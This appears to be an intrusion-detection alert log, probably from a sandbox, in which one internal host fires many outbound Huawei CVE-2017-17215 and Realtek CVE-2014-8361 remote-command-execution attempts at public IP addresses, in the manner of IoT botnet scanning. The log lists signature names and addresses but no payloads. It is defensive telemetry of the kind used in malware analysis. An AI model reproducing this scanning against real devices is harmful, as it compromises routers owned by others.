07/20/24-23:01:06.973541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36666	37215	192.168.2.23	197.26.127.58
07/20/24-23:01:40.307219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54792	37215	192.168.2.23	144.44.56.47
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55632	37215	192.168.2.23	157.78.46.190
07/20/24-23:01:41.315380	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47042	52869	192.168.2.23	163.212.66.23
07/20/24-23:01:42.632123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34600	52869	192.168.2.23	134.135.7.1
07/20/24-23:01:50.001369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45394	52869	192.168.2.23	60.33.175.153
07/20/24-23:01:42.536855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60210	52869	192.168.2.23	100.0.247.159
07/20/24-23:01:42.641430	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55140	52869	192.168.2.23	2.108.114.50
07/20/24-23:01:08.679677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47086	52869	192.168.2.23	103.179.244.2
07/20/24-23:01:20.592206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58000	52869	192.168.2.23	211.27.252.180
07/20/24-23:01:47.038105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37582	52869	192.168.2.23	117.120.22.241
07/20/24-23:01:51.743446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36894	52869	192.168.2.23	97.254.137.62
07/20/24-23:01:59.604768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48086	52869	192.168.2.23	93.56.206.158
07/20/24-23:01:31.978142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60578	37215	192.168.2.23	197.39.192.146
07/20/24-23:00:57.220937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54222	37215	192.168.2.23	37.80.86.165
07/20/24-23:02:10.031806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49060	52869	192.168.2.23	63.25.37.64
07/20/24-23:01:00.634165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58556	37215	192.168.2.23	197.75.123.93
07/20/24-23:01:44.713195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55648	52869	192.168.2.23	136.252.196.177
07/20/24-23:01:49.172806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54868	52869	192.168.2.23	89.142.100.244
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53720	37215	192.168.2.23	157.43.220.26
07/20/24-23:01:44.302645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45918	52869	192.168.2.23	106.2.127.68
07/20/24-23:01:57.313050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48812	52869	192.168.2.23	187.4.24.206
07/20/24-23:01:43.030153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58654	52869	192.168.2.23	143.69.193.236
07/20/24-23:01:43.415157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53276	52869	192.168.2.23	41.215.7.68
07/20/24-23:00:59.201033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43482	37215	192.168.2.23	198.254.9.254
07/20/24-23:01:44.409097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52916	52869	192.168.2.23	34.198.8.37
07/20/24-23:01:56.485717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36340	52869	192.168.2.23	106.180.129.117
07/20/24-23:01:58.001186	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43662	52869	192.168.2.23	130.165.149.247
07/20/24-23:01:43.917774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50784	52869	192.168.2.23	143.225.143.5
07/20/24-23:01:31.311969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46830	52869	192.168.2.23	211.69.194.148
07/20/24-23:01:14.103467	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48232	37215	192.168.2.23	197.92.118.78
07/20/24-23:01:08.595072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52900	52869	192.168.2.23	152.136.236.137
07/20/24-23:01:43.158920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52066	52869	192.168.2.23	200.248.84.13
07/20/24-23:02:04.022245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48240	52869	192.168.2.23	213.105.77.79
07/20/24-23:01:47.921416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55612	52869	192.168.2.23	185.104.180.12
07/20/24-23:01:52.425638	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40594	52869	192.168.2.23	171.195.37.248
07/20/24-23:02:17.865555	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40280	52869	192.168.2.23	157.109.59.232
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52552	37215	192.168.2.23	157.113.160.230
07/20/24-23:01:42.147980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56432	52869	192.168.2.23	112.189.246.31
07/20/24-23:01:43.621955	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40832	52869	192.168.2.23	123.6.144.179
07/20/24-23:01:00.647695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33984	37215	192.168.2.23	41.137.58.228
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43242	37215	192.168.2.23	157.42.95.98
07/20/24-23:01:53.308763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52562	52869	192.168.2.23	17.116.47.253
07/20/24-23:01:47.924852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58936	52869	192.168.2.23	162.230.61.146
07/20/24-23:02:13.086086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38684	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:02.509396	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53182	52869	192.168.2.23	187.26.13.206
07/20/24-23:01:42.115778	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59720	52869	192.168.2.23	87.53.250.191
07/20/24-23:01:31.323043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56342	52869	192.168.2.23	143.157.68.18
07/20/24-23:01:58.556960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55908	52869	192.168.2.23	79.25.231.52
07/20/24-23:01:24.882291	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49764	37215	192.168.2.23	41.253.111.233
07/20/24-23:01:04.986393	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57142	52869	192.168.2.23	23.225.3.54
07/20/24-23:01:08.555687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42530	52869	192.168.2.23	47.237.197.200
07/20/24-23:01:00.633744	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34962	37215	192.168.2.23	197.194.243.184
07/20/24-23:01:51.067695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38648	52869	192.168.2.23	18.233.238.80
07/20/24-23:01:44.007374	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36010	52869	192.168.2.23	4.9.166.109
07/20/24-23:02:27.457367	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59154	52869	192.168.2.23	157.69.166.230
07/20/24-23:01:42.115230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55048	52869	192.168.2.23	221.103.3.16
07/20/24-23:01:42.145997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60476	52869	192.168.2.23	177.64.16.178
07/20/24-23:01:43.825430	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41712	52869	192.168.2.23	101.42.79.184
07/20/24-23:01:09.081648	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40564	52869	192.168.2.23	129.27.232.7
07/20/24-23:01:42.704900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53568	52869	192.168.2.23	135.205.140.164
07/20/24-23:01:52.487978	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40330	52869	192.168.2.23	182.62.146.57
07/20/24-23:01:02.127340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50410	37215	192.168.2.23	157.86.17.89
07/20/24-23:02:08.291319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41704	52869	192.168.2.23	140.127.134.199
07/20/24-23:01:51.864479	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57882	52869	192.168.2.23	111.225.128.216
07/20/24-23:02:06.884162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41536	52869	192.168.2.23	27.214.50.214
07/20/24-23:01:47.032369	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56572	52869	192.168.2.23	31.139.123.246
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49684	37215	192.168.2.23	107.152.95.200
07/20/24-23:01:43.474436	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41066	52869	192.168.2.23	186.139.241.135
07/20/24-23:01:42.357440	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43918	52869	192.168.2.23	128.83.244.58
07/20/24-23:00:59.154068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43252	37215	192.168.2.23	72.152.128.124
07/20/24-23:01:08.614193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40086	52869	192.168.2.23	162.220.3.30
07/20/24-23:01:12.806645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40080	52869	192.168.2.23	213.27.181.202
07/20/24-23:01:54.515977	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55936	52869	192.168.2.23	51.202.3.15
07/20/24-23:01:25.472685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58500	52869	192.168.2.23	59.21.137.98
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36186	37215	192.168.2.23	157.230.17.56
07/20/24-23:01:13.289823	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34358	52869	192.168.2.23	85.161.3.79
07/20/24-23:01:25.200191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57584	52869	192.168.2.23	36.69.228.71
07/20/24-23:01:42.145997	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34796	52869	192.168.2.23	82.91.121.224
07/20/24-23:01:50.202477	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52778	52869	192.168.2.23	192.56.35.207
07/20/24-23:01:24.943244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57416	37215	192.168.2.23	197.211.52.185
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43814	37215	192.168.2.23	121.47.221.188
07/20/24-23:01:44.870961	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34216	52869	192.168.2.23	12.215.198.66
07/20/24-23:01:47.818739	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44594	52869	192.168.2.23	93.74.58.220
07/20/24-23:02:48.447183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37874	52869	192.168.2.23	78.236.82.99
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51692	37215	192.168.2.23	197.222.148.4
07/20/24-23:01:59.992285	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47032	52869	192.168.2.23	93.39.228.144
07/20/24-23:01:00.633744	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57288	37215	192.168.2.23	41.191.248.36
07/20/24-23:01:12.806839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53204	52869	192.168.2.23	195.196.57.80
07/20/24-23:01:02.104572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44332	37215	192.168.2.23	41.132.238.252
07/20/24-23:01:03.924344	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40650	52869	192.168.2.23	24.106.184.126
07/20/24-23:01:31.331748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40186	52869	192.168.2.23	84.102.198.205
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42956	37215	192.168.2.23	41.12.12.126
07/20/24-23:01:51.197215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59982	52869	192.168.2.23	216.19.121.71
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41368	37215	192.168.2.23	157.229.17.57
07/20/24-23:01:42.588824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33420	52869	192.168.2.23	218.206.46.127
07/20/24-23:01:48.958887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43122	52869	192.168.2.23	110.158.170.123
07/20/24-23:01:08.562013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54784	52869	192.168.2.23	90.243.193.156
07/20/24-23:01:43.023857	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42610	52869	192.168.2.23	129.7.216.73
07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38012	37215	192.168.2.23	197.88.18.128
07/20/24-23:01:40.349275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40914	37215	192.168.2.23	170.167.238.210
07/20/24-23:01:44.142024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57768	52869	192.168.2.23	54.188.109.169
07/20/24-23:01:47.858878	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58408	52869	192.168.2.23	9.44.236.192
07/20/24-23:00:59.154067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59582	37215	192.168.2.23	41.138.150.155
07/20/24-23:01:31.974551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49040	37215	192.168.2.23	41.130.110.142
07/20/24-23:01:41.389908	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48504	52869	192.168.2.23	37.169.126.92
07/20/24-23:01:42.751824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37240	52869	192.168.2.23	107.79.192.172
07/20/24-23:01:48.602356	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44534	52869	192.168.2.23	37.247.244.116
07/20/24-23:01:02.081923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50626	52869	192.168.2.23	161.203.121.55
07/20/24-23:01:08.584506	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42566	52869	192.168.2.23	49.39.36.55
07/20/24-23:01:45.078068	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46562	52869	192.168.2.23	17.182.173.35
07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52436	37215	192.168.2.23	157.34.170.95
07/20/24-23:01:41.321505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49492	52869	192.168.2.23	198.228.131.204
07/20/24-23:01:46.971627	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56016	52869	192.168.2.23	17.24.227.79
07/20/24-23:01:51.172994	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39872	52869	192.168.2.23	200.203.33.61
07/20/24-23:01:51.144153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47330	52869	192.168.2.23	187.4.24.206
07/20/24-23:01:50.332163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49330	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:42.632446	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50766	52869	192.168.2.23	149.51.58.185
07/20/24-23:01:44.839991	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38688	52869	192.168.2.23	52.182.197.150
07/20/24-23:01:42.399678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44296	52869	192.168.2.23	141.137.71.180
07/20/24-23:02:11.752225	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48318	52869	192.168.2.23	18.237.154.16
07/20/24-23:01:47.859927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53216	52869	192.168.2.23	108.210.234.252
07/20/24-23:01:42.290838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52896	52869	192.168.2.23	83.99.82.220
07/20/24-23:01:10.513310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46946	52869	192.168.2.23	98.89.247.140
07/20/24-23:01:57.762774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57830	52869	192.168.2.23	182.21.209.138
07/20/24-23:01:44.674122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47054	52869	192.168.2.23	179.149.63.116
07/20/24-23:01:31.325694	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40842	52869	192.168.2.23	201.230.67.6
07/20/24-23:01:51.949637	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35496	52869	192.168.2.23	125.174.13.114
07/20/24-23:01:43.841155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49646	52869	192.168.2.23	130.167.196.86
07/20/24-23:01:42.486106	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54728	52869	192.168.2.23	193.19.81.156
07/20/24-23:01:43.110964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40600	52869	192.168.2.23	25.194.48.207
07/20/24-23:01:27.650243	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58838	37215	192.168.2.23	220.166.48.209
07/20/24-23:01:14.117066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55386	37215	192.168.2.23	219.249.103.135
07/20/24-23:00:57.221803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53230	37215	192.168.2.23	46.47.224.132
07/20/24-23:01:46.416206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59336	52869	192.168.2.23	96.94.31.193
07/20/24-23:01:53.357099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53504	52869	192.168.2.23	48.97.254.151
07/20/24-23:01:25.766611	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51032	52869	192.168.2.23	71.185.104.236
07/20/24-23:01:42.629036	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45276	52869	192.168.2.23	211.87.162.144
07/20/24-23:01:45.980258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32840	52869	192.168.2.23	97.24.147.38
07/20/24-23:01:46.046177	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52732	52869	192.168.2.23	202.170.123.220
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60820	37215	192.168.2.23	157.226.98.85
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45326	37215	192.168.2.23	157.140.56.8
07/20/24-23:01:45.452336	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39466	52869	192.168.2.23	63.211.43.107
07/20/24-23:01:25.540121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60856	52869	192.168.2.23	100.45.46.163
07/20/24-23:01:46.620479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39684	52869	192.168.2.23	23.141.254.89
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44664	37215	192.168.2.23	197.218.83.13
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49640	37215	192.168.2.23	41.212.160.245
07/20/24-23:01:47.893677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34106	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:52.599834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48136	52869	192.168.2.23	162.239.164.172
07/20/24-23:00:57.223887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41330	37215	192.168.2.23	197.148.93.189
07/20/24-23:01:00.638418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59370	37215	192.168.2.23	190.161.188.69
07/20/24-23:01:09.030401	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33440	52869	192.168.2.23	135.23.236.194
07/20/24-23:01:12.807274	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37612	52869	192.168.2.23	82.106.122.253
07/20/24-23:01:52.393089	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58436	52869	192.168.2.23	132.247.218.225
07/20/24-23:02:06.131728	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59882	52869	192.168.2.23	61.92.48.14
07/20/24-23:01:46.512162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48972	52869	192.168.2.23	47.135.155.164
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36930	37215	192.168.2.23	197.200.193.163
07/20/24-23:01:43.659105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36324	52869	192.168.2.23	99.176.241.96
07/20/24-23:01:49.033216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59516	52869	192.168.2.23	71.235.237.254
07/20/24-23:02:48.156942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35430	52869	192.168.2.23	186.52.228.17
07/20/24-23:01:04.786751	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55894	52869	192.168.2.23	65.136.207.183
07/20/24-23:01:42.072139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45316	52869	192.168.2.23	145.93.255.182
07/20/24-23:01:50.483105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49882	52869	192.168.2.23	41.3.232.51
07/20/24-23:01:20.591862	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56994	52869	192.168.2.23	213.215.4.32
07/20/24-23:01:00.634165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60608	37215	192.168.2.23	41.222.48.132
07/20/24-23:01:42.592140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36644	52869	192.168.2.23	34.44.162.23
07/20/24-23:01:42.699478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37526	52869	192.168.2.23	105.139.214.54
07/20/24-23:01:42.131607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33750	52869	192.168.2.23	157.252.110.127
